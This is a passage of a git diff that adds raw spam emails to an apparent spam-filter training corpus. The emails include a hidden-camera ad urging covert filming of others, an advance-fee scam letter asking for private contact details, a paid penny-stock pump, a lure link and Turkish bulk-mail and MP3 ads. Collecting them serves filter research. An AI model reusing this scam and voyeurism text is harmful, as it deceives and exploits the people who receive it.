+Received: from web.managegroup.com (w059.z064000118.buf-ny.dsl.cnc.net [64.0.118.59]) + by slack.lne.com (8.12.5/8.12.5) with ESMTP id g6P8mivM029570; + Thu, 25 Jul 2002 01:48:46 -0700 +Received: from EEK1 (w058.z064000118.buf-ny.dsl.cnc.net [64.0.118.58]) + by web.managegroup.com (8.9.3/8.9.3) with SMTP id EAA03868; + Thu, 25 Jul 2002 04:45:24 -0400 +From: spyware@infonet.com +Message-Id: <200207250845.EAA03868@web.managegroup.com> +To: +Subject: Watch your TEENS or the BabySitter....& GET RICH! +Date: Wed, 24 Jul 2002 22:54:54 -0500 +X-Priority: 3 +X-MSMail-Priority: Normal +X-spam: 40 + +Look this is so hot that not only do you want one... but you can get rich selling it to others... some will use it for good and many will use it for bad... either way the unit works...It is a bulb... but it is not a bulb... it is a secret wireless camera use professionally by cia, fbi and others... original cost was over $5000 but because someone went to china to knock them off you now can buy it today for $299 each, or 2 for $499 or 10 for $1750... do the math... you can earn $125 per unit or more and sell 10 in a week... all people need to do is see one and they flip out...Here is how it worksYou screw it into any lamp, wall or ceiling bulb socet (even over the shower) it could be in a dark place it don't matter... put it in your bedroom and make sure your wife does not have company while you are working... i am telling you man you would pay $1000's for this toy... Then you take the other piece and plug it into your vcr and it is as if you were standing over the person wi! +th! + a video camera... As I said some will use it for good and some will use it for bad... and some will be like me and just get rich selling them... all you need do is demo it and they buy it... heh he even if it takes a day to sell just one you make $125but who says you have to charge $299 you can charge $499 and make $325 follow the rest of the information and check it out....Special Sale thru July 31st, 2002 http://www.easy-signup.com/sv4/ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +Why am I receiving this email? Because you or someone using this email address has opted to receive New Product information from Internet-Hitz or one of its entrusted partners..Thank you for your patronage. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +If this is an error please send an email to be removed. +in the subject line type: Remove Me List-1046-78x +mail to meoffnow2Kb@yahoo.com + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by: Jabber - The world's fastest growing +real-time communications platform! Don't just IM. Build it in! +http://www.jabber.com/osdn/xim +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/01044.dfd13c2800168c897a2c7056f6e6e2ce b/bayes/spamham/spam_2/01044.dfd13c2800168c897a2c7056f6e6e2ce new file mode 100644 index 0000000..ded35d7 --- /dev/null +++ b/bayes/spamham/spam_2/01044.dfd13c2800168c897a2c7056f6e6e2ce @@ -0,0 +1,63 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6ONfwi5013534 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Wed, 24 Jul 2002 18:41:59 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6ONfwEx013525 + for cypherpunks-forward@ds.pro-ns.net; Wed, 24 Jul 2002 18:41:58 -0500 (CDT) +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6ONfui5013499 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Wed, 24 Jul 2002 18:41:57 -0500 (CDT) + (envelope-from cpunks@waste.minder.net) +Received: from waste.minder.net (daemon@waste [66.92.53.73]) + by locust.minder.net (8.11.6/8.11.6) with ESMTP id g6ONfsJ55404 + for ; Wed, 24 Jul 2002 19:41:55 -0400 (EDT) + (envelope-from cpunks@waste.minder.net) +Received: (from cpunks@localhost) + by waste.minder.net (8.11.6/8.11.6) id g6ONfoW02834 + for cypherpunks@ds.pro-ns.net; Wed, 24 Jul 2002 19:41:50 -0400 +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by waste.minder.net (8.11.6/8.11.6) with ESMTP id g6ONfnR02821 + for ; Wed, 24 Jul 2002 19:41:49 -0400 +Received: from txxy (203-109-229-103.ultrawholesale.com.au [203.109.229.103]) + by locust.minder.net (8.11.6/8.11.6) with SMTP id g6ONfhJ55387 + for ; Wed, 24 Jul 2002 19:41:45 -0400 (EDT) + (envelope-from yjnssjvy@kahkaha.com) +From: S Demir +To: +Subject: Mp3 ve klipler +Date: Thu, 25 Jul 2002 00:38:21 -0400 +X-Mailer: Microsoft Outlook Express 5.50.4133.2400 +Content-Type: text/plain +Message-Id: nmurgvodtqjc@minder.net +X-MIME-Autoconverted: from base64 to 8bit by waste.minder.net id g6ONfnR02821 +MIME-Version: 1.0 +Content-Transfer-Encoding: quoted-printable +X-MIME-Autoconverted: from 8bit to quoted-printable by hq.pro-ns.net id g6PDX5i4038858 + +JetMp3 T=FCrkiye'de ilk kez uygulanan bir sistemi hayata ge=E7irdi. +http://www.jetmp3.com +Bu sistemle art=FDk =DDstedi=F0iniz MP3 leri ister tek tek isterseniz alb= +=FCmler halinde ve birka=E7 dakika i=E7inde sanki disketten bilgisayar=FD= +n=FDza y=FCkler gibi s=FCratle indirebilirsiniz. Turk ve Yabanc=FD alb=FC= +mler, klipler ve daha fazlas=FD... +11gb lik ar=FEivimize g=F6z atmak i=E7in t=FDklay=FDn: http://www.jetmp3.= +com + + + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by: Jabber - The world's fastest growing +real-time communications platform! Don't just IM. Build it in! +http://www.jabber.com/osdn/xim +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/01045.21a9ee890753696f026212b3d25f28e6 b/bayes/spamham/spam_2/01045.21a9ee890753696f026212b3d25f28e6 new file mode 100644 index 0000000..d5360f2 --- /dev/null +++ b/bayes/spamham/spam_2/01045.21a9ee890753696f026212b3d25f28e6 @@ -0,0 +1,65 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6ONthi5018850 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Wed, 24 Jul 2002 18:55:43 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6ONtg1X018845 + for cypherpunks-forward@ds.pro-ns.net; Wed, 24 Jul 2002 18:55:42 -0500 (CDT) +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6ONtfi5018826 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Wed, 24 Jul 2002 18:55:42 -0500 (CDT) + (envelope-from owner-cypherpunks@minder.net) +Received: from waste.minder.net (majordom@waste [66.92.53.73]) + by locust.minder.net (8.11.6/8.11.6) with ESMTP id g6ONmAJ55804; + Wed, 24 Jul 2002 19:48:10 -0400 (EDT) + (envelope-from owner-cypherpunks@minder.net) +Received: (from majordom@localhost) + by waste.minder.net (8.11.6/8.11.6) id g6ONlsZ03600 + for cypherpunks-outgoing; Wed, 24 Jul 2002 19:47:54 -0400 +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by waste.minder.net (8.11.6/8.11.6) with ESMTP id g6ONlrR03595 + for ; Wed, 24 Jul 2002 19:47:53 -0400 +Received: from knee ([195.224.39.178]) + by locust.minder.net (8.11.6/8.11.6) with SMTP id g6ONliJ55793 + for ; Wed, 24 Jul 2002 19:47:47 -0400 (EDT) + (envelope-from nwgpnkm@dostmail.com) +From: MURAT Emre +To: +Subject: Mp3 ve klipler +Date: Thu, 25 Jul 2002 00:44:25 -0400 +X-Mailer: Microsoft Outlook Express 5.00.2919.6700 +Content-Type: text/plain +Message-Id: mvomwauwyjnw@minder.net +X-MIME-Autoconverted: from base64 to 8bit by waste.minder.net id g6ONlsR03596 +Sender: owner-cypherpunks@minder.net +Precedence: bulk +MIME-Version: 1.0 +Content-Transfer-Encoding: quoted-printable +X-MIME-Autoconverted: from 8bit to quoted-printable by hq.pro-ns.net id g6PDYoi4039544 + +JetMp3 T=FCrkiye'de ilk kez uygulanan bir sistemi hayata ge=E7irdi. +http://www.jetmp3.com +Bu sistemle art=FDk =DDstedi=F0iniz MP3 leri ister tek tek isterseniz alb= +=FCmler halinde ve birka=E7 dakika i=E7inde sanki disketten bilgisayar=FD= +n=FDza y=FCkler gibi s=FCratle indirebilirsiniz. Turk ve Yabanc=FD alb=FC= +mler, klipler ve daha fazlas=FD... +11gb lik ar=FEivimize g=F6z atmak i=E7in t=FDklay=FDn: http://www.jetmp3.= +com + + + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by: Jabber - The world's fastest growing +real-time communications platform! Don't just IM. Build it in! +http://www.jabber.com/osdn/xim +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/01046.00df3a73895dd0f6a8f22434141257f6 b/bayes/spamham/spam_2/01046.00df3a73895dd0f6a8f22434141257f6 new file mode 100644 index 0000000..f992aa9 --- /dev/null +++ b/bayes/spamham/spam_2/01046.00df3a73895dd0f6a8f22434141257f6 @@ -0,0 +1,98 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6P5J6i5045502 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Thu, 25 Jul 2002 00:19:06 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6P5J6Ib045499 + for cypherpunks-forward@ds.pro-ns.net; Thu, 25 Jul 2002 00:19:06 -0500 (CDT) +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6P5J4i5045493 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Thu, 25 Jul 2002 00:19:05 -0500 (CDT) + (envelope-from cpunks@waste.minder.net) +Received: from waste.minder.net (daemon@waste [66.92.53.73]) + by locust.minder.net (8.11.6/8.11.6) with ESMTP id g6P5J3J67327 + for ; Thu, 25 Jul 2002 01:19:03 -0400 (EDT) + (envelope-from cpunks@waste.minder.net) +Received: (from cpunks@localhost) + by waste.minder.net (8.11.6/8.11.6) id g6P5J2o26217 + for cypherpunks@ds.pro-ns.net; Thu, 25 Jul 2002 01:19:02 -0400 +Received: (from majordom@localhost) + by waste.minder.net (8.11.6/8.11.6) id g6P5Iwb26197 + for cypherpunks-outgoing; Thu, 25 Jul 2002 01:18:58 -0400 +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by waste.minder.net (8.11.6/8.11.6) with ESMTP id g6P5IwR26193 + for ; Thu, 25 Jul 2002 01:18:58 -0400 +Received: from mail02.svc.cra.dublin.eircom.net (mail02.svc.cra.dublin.eircom.net [159.134.118.18]) + by locust.minder.net (8.11.6/8.11.6) with SMTP id g6P5IvJ67314 + for ; Thu, 25 Jul 2002 01:18:57 -0400 (EDT) + (envelope-from tamkomobutu@eircom.net) +Message-Id: <200207250518.g6P5IvJ67314@locust.minder.net> +Received: (qmail 56066 messnum 124087 invoked from network[159.134.237.75/jimbo.eircom.net]); 25 Jul 2002 05:18:50 -0000 +Received: from jimbo.eircom.net (HELO webmail.eircom.net) (159.134.237.75) + by mail02.svc.cra.dublin.eircom.net (qp 56066) with SMTP; 25 Jul 2002 05:18:50 -0000 +From: +To: tamkomobutu@diplomats.com +Subject: PLEASE, ASSISST. +Date: Thu, 25 Jul 2002 06:18:50 +0100 +Mime-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Transfer-Encoding: 8bit +X-Originating-IP: 216.139.170.171 +X-Mailer: Eircom Net CRC Webmail (http://www.eircom.net/) +Organization: Eircom Net (http://www.eircom.net/) +Sender: owner-cypherpunks@minder.net +Precedence: bulk + +HELLO, + +I AM A CITIZEN OF ZAIRE, SON OF THE LATE FORMER +PRESIDENT OF ZAIRE (PRESIDENT MOBUTU SESE SEKO) +SINCE THE DEATH OF MY LATE FATHER SOME YEARS AGO I HAVE +BEEN RESIDING IN SOUTH AFRICA ON TEMPORARY POLITICAL ASYLUM. ON MY ARRIVALIN SOUTH AFRICA AFTER MY LATE FATHER'S BURIAL, I CAME IN WITH A DIPLOMATIC +PACKAGED CONSIGNMENT CONTAINING THE SUM OF $8,000,000.00 (EIGHT MILLION UNITED STATES DOLLARS) WHICH I GOT FROM PART OF THE MONEY MY LATE FATHER MADE THROUGH DIAMONDS SALES WHEN HE WAS THE PRESIDENT OF ZAIRE FOR ABOUT 32 YEARS.PRECISELY, SINCE MY ARRIVAL WITH THE DIPLOMATIC PACKAGED CONSIGNMENT IT HAS BEEN SAFELY KEPT WITH A SECURITY COMPANY HERE IN SOUTH AFRICA. +I DO NOT WANT TO INVEST THIS MONEY IN ANY PART OF +AFRICA DUE TO THE CONSTANT POLITICAL INSTABILITY IN +AFRICA.MY PLAN IS TO USE THIS MONEY TO INVEST IN A +PROFITABLE BUSINESS IN ANY PART OF THE WORLD APART +FROM AFRICA, ALSO TO PURCHASE A RESIDENTIAL +ACCOMMODATION. I WILL COME OVER AND SETTLE THERE +WITH MY FAMILY. HENCE,I AM SOLICITING FOR YOUR +ASSISTANCE AS MY FOREIGN PARTNER TO RECEIVE THIS +MONEY ON MY BEHALF ON ARRIVAL ABROAD AND TO KEEP IT +IN A SAFE PLACE PENDING MY ARRIVAL TO JOIN YOU UP. +UPON THE RECEIPT OF YOUR ACCEPTANCE TO MY PROPOSAL, I CAN IMMEDIATELY ARRANGE FOR THE MONEY TO LEAVE NIGERIA IN YOUR FAVOUR (i.e. AS THE BENEFICIARY) FOR ONWARD +MOVEMENT TO WHERE YOU CAN RECEIVE THE CONSIGNMENT. +PLEASE IF YOU ARE WILLING TO ASSIST ME, DO SEND IN +YOUR REPLY IMMEDIATELY BASED ON THE FOLLOWING: - + +1) THE PERCENTAGE OF THIS AMOUNT WHICH YOU INTEND +TO CHARGE FOR YOUR ASSISTANCE, PLEASE FEEL FREE TO +EXPRESS YOUR MIND, +(2) INCLUDE YOUR PRIVATE TELEPHONE AND FAX NUMBERS +TO ENHANCE THE CONFIDENTIALITY,WHICH THIS BUSINESS +DEMANDS. +I SHALL INFORM YOU ON THE NEXT LINE OF ACTION AS +SOON AS I RECEIVE YOUR POSITIVE RESPONSE. 10% OF THE TOTAL MONEY WILL BE SET ASIDE FOR ANY EXTRA EXPENDITURE. I ASSURE YOU THAT THIS DEAL IS 100% RISK +FREE AS LONG AS WE KEEP IT TO OURSELVES. +YOUR URGENT RESPONSE THROUGH MY E-MAIL SHALL BE +HIGHLY APPRECIATED. + +BEST REGARDS, + +TAMKO MOBUTU. + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by: Jabber - The world's fastest growing +real-time communications platform! Don't just IM. Build it in! +http://www.jabber.com/osdn/xim +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/01047.2e01ca2cd13baa8ba6fe1429f39f85de b/bayes/spamham/spam_2/01047.2e01ca2cd13baa8ba6fe1429f39f85de new file mode 100644 index 0000000..d92d8a1 --- /dev/null +++ b/bayes/spamham/spam_2/01047.2e01ca2cd13baa8ba6fe1429f39f85de @@ -0,0 +1,61 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6P5VKi5050420 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Thu, 25 Jul 2002 00:31:21 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6P5VKLs050417 + for cypherpunks-forward@ds.pro-ns.net; Thu, 25 Jul 2002 00:31:20 -0500 (CDT) +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6P5VHi5050406 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Thu, 25 Jul 2002 00:31:18 -0500 (CDT) + (envelope-from cpunks@waste.minder.net) +Received: from waste.minder.net (daemon@waste [66.92.53.73]) + by locust.minder.net (8.11.6/8.11.6) with ESMTP id g6P5VGJ67749 + for ; Thu, 25 Jul 2002 01:31:16 -0400 (EDT) + (envelope-from cpunks@waste.minder.net) +Received: (from cpunks@localhost) + by waste.minder.net (8.11.6/8.11.6) id g6P5VBg27177 + for cypherpunks@ds.pro-ns.net; Thu, 25 Jul 2002 01:31:11 -0400 +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by waste.minder.net (8.11.6/8.11.6) with ESMTP id g6P5V8R27164 + for ; Thu, 25 Jul 2002 01:31:08 -0400 +Received: from newweb.surfclear.com (newweb.surfclear.com [63.150.182.56]) + by locust.minder.net (8.11.6/8.11.6) with ESMTP id g6P5V8J67735 + for ; Thu, 25 Jul 2002 01:31:08 -0400 (EDT) + (envelope-from nobody@newweb.surfclear.com) +Received: (from nobody@localhost) + by newweb.surfclear.com (8.9.3/8.9.3) id BAA06990; + Thu, 25 Jul 2002 01:23:03 -0400 +Date: Thu, 25 Jul 2002 01:23:03 -0400 +Message-Id: <200207250523.BAA06990@newweb.surfclear.com> +To: cpuma@earthlink.net, cpumatt@trib.com, cpun@rocketmail.com, + cpunides@flash.net, cpunk@hotmail.com, cpunks@minder.net, + cpuonline@yahoo.com, cpupro16@hotmail.com, cpupse@yahoo.com, + cpurdon@bmts.com +From: Pamela@Blinkese.com () +Subject: Hey wassup, Remember me ;) + +Below is the result of your feedback form. It was submitted by + (Pamela@Blinkese.com) on Thursday, July 25, 2002 at 01:23:03 +--------------------------------------------------------------------------- + +:

    +Hey wassup my names mandy, I got this new webpage, Im trying to see if things look alright before i publish it. Can you come and check it out for me!

    +Check it out! +--------------------------------------------------------------------------- + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by: Jabber - The world's fastest growing +real-time communications platform! Don't just IM. Build it in! +http://www.jabber.com/osdn/xim +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/01048.a8581a98e46532472fe74772b6e3477a b/bayes/spamham/spam_2/01048.a8581a98e46532472fe74772b6e3477a new file mode 100644 index 0000000..af8308c --- /dev/null +++ b/bayes/spamham/spam_2/01048.a8581a98e46532472fe74772b6e3477a @@ -0,0 +1,239 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6P6DWi5066692 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Thu, 25 Jul 2002 01:13:32 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6P6DWTN066689 + for cypherpunks-forward@ds.pro-ns.net; Thu, 25 Jul 2002 01:13:32 -0500 (CDT) +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6P6DMi5066664 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Thu, 25 Jul 2002 01:13:23 -0500 (CDT) + (envelope-from cpunks@waste.minder.net) +Received: from waste.minder.net (daemon@waste [66.92.53.73]) + by locust.minder.net (8.11.6/8.11.6) with ESMTP id g6P6DLJ68987 + for ; Thu, 25 Jul 2002 02:13:21 -0400 (EDT) + (envelope-from cpunks@waste.minder.net) +Received: (from cpunks@localhost) + by waste.minder.net (8.11.6/8.11.6) id g6P6DKa29651 + for cypherpunks@ds.pro-ns.net; Thu, 25 Jul 2002 02:13:20 -0400 +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by waste.minder.net (8.11.6/8.11.6) with ESMTP id g6P6DJR29628 + for ; Thu, 25 Jul 2002 02:13:19 -0400 +Received: from einstein.ssz.com (cpunks@[207.200.56.4]) + by locust.minder.net (8.11.6/8.11.6) with ESMTP id g6P6DHJ68975 + for ; Thu, 25 Jul 2002 02:13:18 -0400 (EDT) + (envelope-from cpunks@einstein.ssz.com) +Received: (from cpunks@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id BAA01863 + for cpunks@minder.net; Thu, 25 Jul 2002 01:22:18 -0500 +Received: (from mdom@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id BAA01853 + for cypherpunks-outgoing; Thu, 25 Jul 2002 01:22:14 -0500 +Received: from smtp.studioziveri.it ([212.131.161.242]) + by einstein.ssz.com (8.8.8/8.8.8) with ESMTP id BAA01849 + for ; Thu, 25 Jul 2002 01:22:08 -0500 +Received: from aldan.netvision.net.il ([192.168.21.244]) by smtp.studioziveri.it with Microsoft SMTPSVC(5.0.2195.4453); + Thu, 25 Jul 2002 08:12:30 +0200 +From: "Samantha Rios" <101452.2526xkf@aldan.netvision.net.il> +To: "Inbox" <1041@globe.com.ph> +Old-Subject: CDR: REPORT FOR TODAY +MIME-Version: 1.0 +Content-Type: text/html; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable +Message-ID: +X-OriginalArrivalTime: 25 Jul 2002 06:12:30.0694 (UTC) FILETIME=[42208060:01C233A2] +Date: 25 Jul 2002 08:12:30 +0200 +Sender: owner-cypherpunks@einstein.ssz.com +Precedence: bulk +Reply-To: cypherpunks@einstein.ssz.com +X-Mailing-List: cypherpunks@ssz.com +X-Unsubscription-Info: http://einstein.ssz.com/cdr +X-List-Admin: list@ssz.com +X-Loop: ssz.com +X-Acceptable-Languages: English, Russian, German, French, Spanish +Subject: REPORT FOR TODAY + + + + + + + + + + + + + + + + + + +
    +
    + = + + Fo= +r + Immediate Release
    +
    +
    +

    + + Cal-Bay (Stock Symbol: CBYI) + Watch for analyst =22Strong Buy Recommendations=22 and sev= +eral advisory newsletters + picking CBYI.   CBYI has filed to be traded on the = +;OTCBB, + share prices historically INCREASE when companies get listed + on this larger trading exhange. CBYI is trading around 25 ce= +nts + and should skyrocket to =242.66 - =243.25 a share in the near futur= +e.   + Put CBYI on your watch list, acquire a postion + TODAY. + = + + +

    REASONS TO INVEST IN CBYI +

  • A profitable company and is on = +track to beat ALL + earnings estimates + =21 +
  • One of the FASTEST growing distrib= +utors in environmental & safety + equipment instruments. +
  • = + + Excellent management team= +, several EXCLUSIVE + contracts.  IMPRESSIVE client list including the U.S. A= +ir Force, + Anheuser-Busch, Chevron Refining and Mitsubishi Heavy Industries,= + + GE-Energy & Environmental Research. +

    + RAPID= +LY GROWING INDUSTRY 
    Industry revenues exceed =24900 mil= +lion, estimates indicate that there + could be as much as =2425 billion from =22smell technology=22 by the= + end of + 2003.

    +

    + =21=21=21= +=21=21 CONGRATULATIONS + =21=21=21=21=21
    Our last recommendation to buy ORBT a= +t + =241.29 rallied and is holding steady at =244.51=21&n= +bsp; + Congratulations to all our subscribers that took advantage of thi= +s + recommendation.

    +

    + = + +






    +

    + ALL removes HONER= +ED. Please allow 7 + days to be removed and send ALL address to: +NoMore=40btamail.net.cn +

    • +
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    + Certain statements contained in this news release m= +ay be +forward-looking statements within the meaning of The Private Securities= + +Litigation Reform Act of 1995. These statements may be identified by su= +ch terms +as =22expect=22, =22believe=22, =22may=22, =22will=22, and =22intend=22 or simila= +r terms. We are NOT +a registered investment advisor or a broker dealer. This is NOT an offe= +r to buy +or sell securities. No recommendation that the securities of the compan= +ies +profiled should be purchased, sold or held by individuals or entities t= +hat learn +of the profiled companies. We were paid =2427,000 in cash by a third par= +ty to +publish this report. Investing in companies profiled is high-risk and u= +se of +this information is for reading purposes only. If anyone decides to act= + as an +investor, then it will be that investor's sole risk. Investors are advi= +sed NOT +to invest without the proper advisement from an attorney or a registere= +d +financial broker. Do not rely solely on the information presented, do a= +dditional +independent research to form your own opinion and decision regarding in= +vesting +in the profiled companies. Be advised that the purchase of such high-ri= +sk +securities may result in the loss of your entire investment. = + + The owners of this publication may already own free trading sha= +res in +CBYI and may immediately sell all or a portion of these shares into the= + open +market at or about the time this report is published.  Factual sta= +tements +are made as of the date stated and are subject to change without notice= +.  +Not intended for recipients or residents of CA,CO,CT,DE,ID, + IL,IA,LA,MO,NV,NC,OK,OH,PA,RI,TN,VA,WA,WV,WI. Void where +prohibited.  + Copyright c 2001

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+ =3B=3C=2Ffont=3E=3C=2Fb=3E=3C=2Fli=3E + =3Cli=3E + =3Cp align=3Djustify style=3D=22margin-right=3A 23=3B margin-top=3A -9=3B margin-bottom=3A 0=22=3E + =3Cb=3E=3Cfont face=3D=22Verdana=22 size=3D=221=22=3EBu programlar ISP yada hosting firmanizin + SMTP serverini kullanmaniza gerek kalmadan direkt g=F6nderim yapabilmenizi + saglayacaktir=2E isterseniz bir checkbox'i isaretliyerek kullanmak + istediginiz SMTP server ile =3B fault-tolerance yaparak g=F6nderdiginiz + iletilerin %100 yerine ulasmasini saglayabilirsiniz=2E=2E=2E=3Cbr=3E + =3B=3C=2Ffont=3E=3C=2Fb=3E=3C=2Fli=3E + =3Cli=3E + =3Cp align=3Djustify style=3D=22margin-right=3A 23=3B margin-top=3A -9=3B margin-bottom=3A 0=22=3E + =3Cb=3E=3Cfont face=3D=22Verdana=22 size=3D=221=22=3ESMTP server kullanmadan g=F6nderdiginiz + mesajlar bilinenin aksine daha basarili g=F6nderim yapacakdir=2E C=FCnk=FC + mesajlarin yerine ulasip ulasmadigini g=F6r=FCp m=FCdahele yapmak sizin elinizde + olacaktir=2E=2E=2E=3Cbr=3E + =3B=3C=2Ffont=3E=3C=2Fb=3E=3C=2Fli=3E + =3Cli=3E + =3Cp align=3Djustify style=3D=22margin-right=3A 23=3B margin-top=3A -9=3B margin-bottom=3A 0=22=3E + =3Cb=3E=3Cfont face=3D=22Verdana=22 size=3D=221=22=3EAyrica bu programlar HTML formatinda + mesaj g=F6nderimini de desteklemektedir=2E Bu destek sayesinde renkli=2C resimli + daha g=F6rsel ve dikkat cekici iletiler g=F6nderebilirsiniz=2E=2E=2E=3Cbr=3E + =3B=3C=2Ffont=3E=3C=2Fb=3E=3C=2Fli=3E + =3Cli=3E + =3Cp align=3Djustify style=3D=22margin-right=3A 23=3B margin-top=3A -9=3B margin-bottom=3A 0=22=3E=3Cb=3E=3Cfont face=3DVerdana size=3D1=3ECD icerisindeki b=FCy=FCk e-mail + listelerini kolayca d=FCzenleyebileceginiz=2C istenmeyen e-mail adreslerini + otomatik olarak silebileceginiz ve her t=FCrl=FC kategoriye ayirabileceginiz + programlar da =FCcretsiz olarak verilmektedir=2E=2E=2E=3Cbr=3E + =3B=3C=2Ffont=3E=3C=2Fb=3E=3C=2Fli=3E + =3Cli=3E + =3Cp align=3Djustify style=3D=22margin-right=3A 23=3B margin-top=3A -9=3B margin-bottom=3A 0=22=3E=3Cb=3E=3Cfont face=3D=22Verdana=22 size=3D=221=22=3ETR rehber ve World + Rehberi birlikte aldiginizda=2C bir sonraki g=FCncel versiyonlari adresinize + =FCcretsiz g=F6nderiyoruz=2E=2E=2E Bunun icin l=FCtfen g=FCncelleme maili aldiginizda + bize geri d=F6n=FCn=FCz=2E=2E=3C=2Ffont=3E=3C=2Fb=3E=3C=2Fli=3E + =3C=2Ful=3E + =3C=2Ftd=3E=3C=2Ftr=3E=3Ctr=3E=3Ctd width=3D606 height=3D1 bgcolor=3D=22#00FFFF=22=3E + =3Cp align=3D=22center=22=3E=3Cfont face=3DVerdana=3E=3Cb=3E=2E=3A=3A + HEDEF KiTLE TESPiDi =3A=3A=2E=3Cbr=3E=3C=2Fb=3E=3Ci=3E=3Cfont size=3D=222=22=3EHedef kitlenize ulasmanizi sa=F0layaci=F0imiz bu + =F6zel y=F6ntem hakkinda mutlaka bilgi isteyiniz=2E=2E=3Cbr=3E + =3C=2Ffont=3E=3C=2Fi=3E + =3Cb=3E=2E=3A=3A TARGET MAILLING =3A=3A=2E=3C=2Fb=3E=3C=2Ffont=3E=3C=2Ftd=3E=3C=2Ftr=3E=3C=2Ftable=3E=3C=2Fcenter=3E=3C=2Fdiv=3E=3Cdiv align=3Dcenter=3E=3Ccenter=3E + =3Ctable border=3D1 cellpadding=3D2 cellspacing=3D1 style=3D=22border-collapse=3A collapse=22 bordercolor=3D=22#111111=22 